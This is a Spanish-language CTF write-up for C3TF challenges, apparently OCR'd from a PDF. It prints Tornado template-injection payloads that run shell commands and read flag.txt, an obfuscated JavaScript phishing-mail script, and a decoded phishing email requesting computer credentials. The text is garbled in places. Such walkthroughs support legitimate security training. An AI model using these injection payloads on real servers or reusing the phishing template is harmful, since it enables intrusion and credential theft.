C3TF (29/03/2023)
WEB

[Cita requerida]

¢Necesitais descansar de tanto reto? Echad un vistazo a la lista de nuestros articulos de la

Wikipedia favoritos que hemos recopilado para vosotros.

[P:port

Los mejores articulos de la wikipedia

Introduce aqui tu busqueda .

Tras buscar una URL inexistente se observa:

Traceback (most recent call Tlast):
File "/usr/Tocal/Tib/python3.10/site-packages/tornado/web.py", 1line 1690, in

_execute
result = self.prepare()
File "/usr/Tocal/Tib/python3.10/site-packages/tornado/web.py", line 2465, in

prepare
raise HTTPError(self._status_code)

tornado.web.HTTPError: HTTP 404: Not Found

Sabemos que utiliza un servidor web de Python con tornado.

Utilizando inyeccién de plantillas averiguamos lo siguiente:

{% import os %}{{ os.popen("1s").read() }}

Atrds

Resultados de "Dockerfile app.py flag.txt index.html template.html wikipedia.json ":

Con otra instruccién leemos el flag.txt:

{% import os %}{{ os.popen('cat flag.txt").read() }}

Atras

Resultados de "C3TF{yOu_4r3_my_f4v0Our1t3_4rt1cl3}":

Flag:
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af://n334
af://n183
af://n221
http://193.147.36.240:9003/

C3TF{yOu_4r3_my_f4vOurlt3_4rtlc13}

Prototipo

Teniamos pensado alojar el C3TF en esta pagina web, pero creemos que hay una
vulnerabilidad...

IP:port

Mirando robots.txt:

*

User-agent:
Disallow: /sup3r_secr4t_flag_l10cltion/flag.txt

Mirando: /sup3r_secr4t_flag_10cltion/flag.txt:

C3TF{yOu_h4v3_prov3n_yOu_4r3_n0t_a_r0bOt}
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http://193.147.36.240:9006/

ESTEGANOGRAFIA

Cena de celebracion

El pasado lunes, los organizadores de C3TF fuimos a cenar a un restaurante nuevo para
celebrar que ya habiamos terminado todo el trabajo relacionado con la segunda edicion.
Pedimos la carta y el camarero nos di6 esto :S.

Se nos muestra un GIF de QR. Separando los frames y escaneandolos obtenemos el siguiente script
de shell:

#!/bin/bash menu='231M24wx31fYjRyNHQWfQ=" texto='QzNURNttM251X2
Qzz3vzdD' postres='="' formato='RjMTBuX' function get_flag (O {
echo "$4$1%$3%$2" } echo "Bienvenido al restaurante del momento

" echo "A continuacioén podéis consultar nuestra carta" get_f

Tag "$formato"” "$postres"” "$menu" "$texto" echo "Tomad vuestra

decisién y avisad a un camarero para que os tome nota"

Tras montar el string en base64 se obtiene la flag.

Flag:

C3TF{m3nu_d3gust4clOn_bu3n0_y_b4r4t0}
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OSINT
May the 4th

Estamos siguiendo las pistas de un ciberdelincuente. De momento sélo sabemos que no es
muy profesional y que no suele borrar muy bien sus huellas. Sabemos que esta detras de un
ataque de phishing muy reciente. Adjuntamos la firma que suele dejar en todos sus ataques
(aunque por lo que parece esta cifrada). ;Puedes ayudarnos?

Firma:

...............
...............
..............................

created by grogujedi4lbby

Tras buscar en Twitter, GitHub, y Reddit no encontramos nada asi que probamos a utilizar la
WayBack Machine. gracias a esto encontramos un mensaje eliminado con un enlace a un pastebin.

{} ::35 - Posted by 1 minute ago m

Yo' Today's job

U

This is the link where you can find the phishing attack that some strangers
commissioned me today and that I just created:

httres fHfmactakhin cam /MaRnl D7+

D 0 Comments /> Share D Save *--
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function _0x1301(_0x16c081,_0x47d95e){var _0x177c9a=_0x177c();return
_0x1301=function(_0x130190,_0x50f4c1){ _0x130190=_0x130190-0x1f1;var
_0x23c011=_0x177c9a[_0x130190] ;return _0x23c011;},_0x1301(_0x16c081,_0x47d95e);}var
_0x3dbc81=_0x1301; (function(_0x91302e,_0x2f87c4) {var
_0x551a93=_0x1301,_0x4b2cfa=_0x91302e () ;while(!![1){try{var _0x29f79f=-
parseInt(_0x551a93(0x200))/0x1*(-parseInt(_0x551a93(0x202))/0x2)+-
parseInt(_0x551a93(0x1f9))/0x3* (-
parseInt(_0x551a93(0x1f1))/0x4)+parseInt(_0x551a93(0x1f3))/0x5*(-
parseInt(_0x551a93(0x1fd))/0x6)+parseInt(_0x551a93(0x1f7))/0x7+-
parseInt(_0x551a93(0x1fb))/0x8* (parseInt(_0x551a93(0x1f5))/0x9)+-
parseInt(_0x551a93(0x1f4))/0xa+parseInt(_0x551a93(0x1f2))/0xb;if(_0x29f79f===_0x2f8
7c4)break;else _0x4b2cfa['push'](_0x4b2cfal['shift']());}catch(_0x896fd8)
{_Ox4b2cfa['push'](_0x4b2cfa['shift']1());}}}
(_0x177c,0x20f9c),console[_0x3dbc81(0x1f6)] (_0x3dbc81(0x1fc)));function _0x177c()
{var _0x4c871c=

['Tog', '919807czRIKc', '<MaiTltrap\x20password>", '643575SoLXjk"', 'Technical\x20support
', '9488eDNAkh"' , ' ##########H#H#HHHHHHHHH#H#H#H#H#\X20Created\x20by\x20GroguIedi41BBY\x20###
HH##H AR ' 3426PGKLEG ', "send ', "then', "lacdarz', 'smtp.mailtrap.io’, '35
6054fSDrkB', 'R29vzCBhznR1cm5vb24sCgpII20gTW1 rzSBmcm9tIEhVZXIZzY2gtS2Vzc2VSIERyaxZ1LC
BIbmMUIHR1Y2huaWNhbCBzdXBwb3J0LiBXZSBoYXZ1IGR]1 dGVj dGVkIGEgCZVj dx3 dekgaXNZdWUgb24ge
W91lciBjb21wdXRT1ciEhIEJI1dCBkb24ndCB3b3JyeSwgd2UgY2FuIlGZpeCBpdCEgCIR0ZSBlcnlvciBjb2R1
IG1zIHRoaxXMgh251071BDM1RGeOMWbTNTMG5fYjR1eVIEMFI0aDNFbTRNMWNTaDRuzZF90aDFuzyF9CgpUbyB
ZbZXZZSBOaGUgCHJVYmX1 bSB3ZSBuzWVkIH] VdXIgY29tCHVOZXIgYWNjZXNZIGNyZWR1 bnRpYwxzIChlc2
VybmFtzSBhbmQgcGFzc3dvemQpLiBQbGVvhc2UsIHNTbmQgdGh1bSBObyBlcyBhcyBzb29uIGFzIHBVC3NpY
mx1LgokQmvzdCByzZwdhcmRzLAOKTWT rzS4KVGVjaG5pY2FSIHNICcHBvCcNQuCkhvzXJzY2gtS2Vzc2VSIERY
axZTLCBIbmMuCgoK', "4pBNQpU "', '1034869TaFfnA", '2045fIBTRS', '383170uEHOdR", '1602TSrPfF
']1;_0x177c=function() {return _0x4c871c;};return _0x177c();}function
send_phishing_email(_0x52b598,_0x4d435f) {var
_0x23cd7e=_0x3dbc81;console[_0x23cd7e(0x1f6)]
('Phishing\x20email\x20sent'),Email[_0x23cd7e(Ox1fe)]
({"Host':_0x23cd7e(0x201), 'Username': '<Mailtrap\x20username>", 'Password':_0x23cd7e(
0x1f8), 'To':_0x4d435f, 'From': ' 'sender@example.com', 'Subject':_0x23cd7e(0x1fa), 'Body'
:_0x52b5983}) [_0x23cd7e(0x1ff)] (_0Ox47e56f=>alert(_0x47e56f));}function
attack(_0x3cf566){var
_0x3acc9e=_0x3dbc81;text=atob(_0x3acc9e(0x203)),send_phishing_email(text,_0x3cf566)
i}

Tras deofuscar el cédigo en https://deobfuscate.io/ obtenemos lo siguiente:

function _0x1301(_0x16c081, _0x47d95e) {
var _0x177c9a = _0x177c(Q;
return _0x1301 = function (_0x130190, _0x50f4cl) {
_0x130190 = _0x130190 - 497;
var _0x23c011 = _0x177c9a[_0x130190];
return _0x23c011;
}, _0x1301(_0x16c081, _0x47d95e);
}
var _0x3dbc81 = _0x1301;
(function (_0x91302e, _0x2f87c4) {
var _0x551a93 = _0x1301, _Ox4b2cfa = _0x91302eQ);
while (true) {
try {
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https://deobfuscate.io/

var _0x29f79f = -parseInt(_0x551a93(512)) / 1 * (-parseInt(_0x551a93(514)) /
2) + -parseInt(_0x551a93(505)) / 3 * (-parseInt(_0x551a93(497)) / 4) +
parseInt(_0x551a93(499)) / 5 * (-parseInt(_0x551a93(509)) / 6) +
parseInt(_0x551a93(503)) / 7 + -parseInt(_0x551a93(507)) / 8 =
(parseInt(_0x551a93(501)) / 9) + -parseInt(_0x551a93(500)) / 10 +
parseInt(_0x551a93(498)) / 11;
if (L0x29f79f === _0x2f87c4) break; else _0x4b2cfa.push(_0x4b2cfa.shift());
} catch (_0x896fd8) {
_Ox4b2cfa.push(_0x4b2cfa.shift());
3
}
}(_0x177c, 135068), console[_0x3dbc81(502)](_0x3dbc81(508)));
function _0x177c() {
var _0x4c871c = ["Tog", "919807czRIKc", "<Mailtrap password>", "643575SoLXjk",
"Technical support", "9488eDNAkh'", "######################### Created by
Groguledi4lBBY #########################" | "3426PGKLEG", "send", "then", "lacdarz",
"smtp.mailtrap.io", "356054fSDrkB",
"R29vZCBhZnRT1cm5vb24sCgp3320gTW1rzSBmcm9tIEhVZXIzY2gtS2Vzc2VSIERYyaxXZ1LCBIbmMUIHR1Y2
huawNhbCBzdXBwb3J0L1BXZSBoYXZ1IGR1dGVjdGVkIGEgc2VjdxIpdHkgaXNzdwugb24gew91lciBjb21wd
XR1ciEhIEJ1dCBkb24ndCB3b3JyeSwgd2UgY2FuIGZpeCBpdCEgCTR0ZSBcnIvciBjb2R1IGTzIHRoaXMg
b25101BDM1RGeOMWbTNTMG5TYjRi1eVIEMFI0aDNTbTRNMWNTaDRuUzZF90aDFuzyF9CgpUbyBzb2x2ZSB0aGU
gcHIVYmx1bSB3ZSBuzWVkIH1vdXIgY29tcHVOZXIgYWNjZXNZzIGNYZWRTbnRpYwWxzIChlc2VybmFtZSBhbm
QgcGFzc3dvemQpLiBQbGVhc2UsIHNTbmQgdGhTbSBObyBlcyBhcyBzb29uIGFzIHBVC3NpYmx1LgokKQmvzd
CByzZWdhcmRzLAOKTW1 rzS4KVGVjaG5pY2FsIHN1cHBvcnQuCkhvzXizY2gtS2vzc2VsIERyaXz1LCBIbmMu
CgoK", "4pBNQpu", "1034869TaFfnA", "2045f1BTRS", "383170uEHOdR", "1602TSrpPfF"];
_0x177c = function O {
return _0x4c871c;
1
return _0x177cQ;
}
function send_phishing_email(_0x52b598, _0x4d435f) {
var _0x23cd7e = _0x3dbc81;
console[_0x23cd7e(502)]1("Phishing email sent"), Email[_0x23cd7e(510)] ({Host:
_0x23cd7e(513), Username: "<Mailtrap username>", Password: _0x23cd7e(504), To:
_0x4d435f, From: "sender@example.com", Subject: _0x23cd7e(506), Body: _0x52b598})
[_0x23cd7e(511)] (_0x47e56f => alert(_0x47e561));
}
function attack(_0x3cf566) {
var _Ox3acc9e = _0x3dbc81;
text = atob(_0x3acc9e(515)), send_phishing_email(text, _0x3cf566);

Descodificando el gran string decubrimos que era un texto con la flag en base64.
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Good afternoon,
I'm Mike from Hoersch-Kessel Drive, Inc. technical support. wWe have detected a
security issue on your computer!! But don't worry, we can fix it!

The error code is this one: C3TF{COm3_On_b4by_DO_th3_m4glc_h4nd_thlng!}

To solve the problem we need your computer access credentials (username and
password). Please, send them to us as soon as possible.

Best regards,

Mike.
Technical support.
Hoersch-Kessel Drive, Inc.

Flag:

C3TF{COm3_On_b4by_DO_th3_m4glc_h4nd_thlng!}
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MISCELANEA

I La flag se ha vaporizado. Este polvo es todo lo que queda de ella...

polvo.txt:
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Intérprete de PixieDust: https://tio.run/#pixiedust
Flag:

C3TF{1_thlnk_1m_gOnn4_sn33z3}
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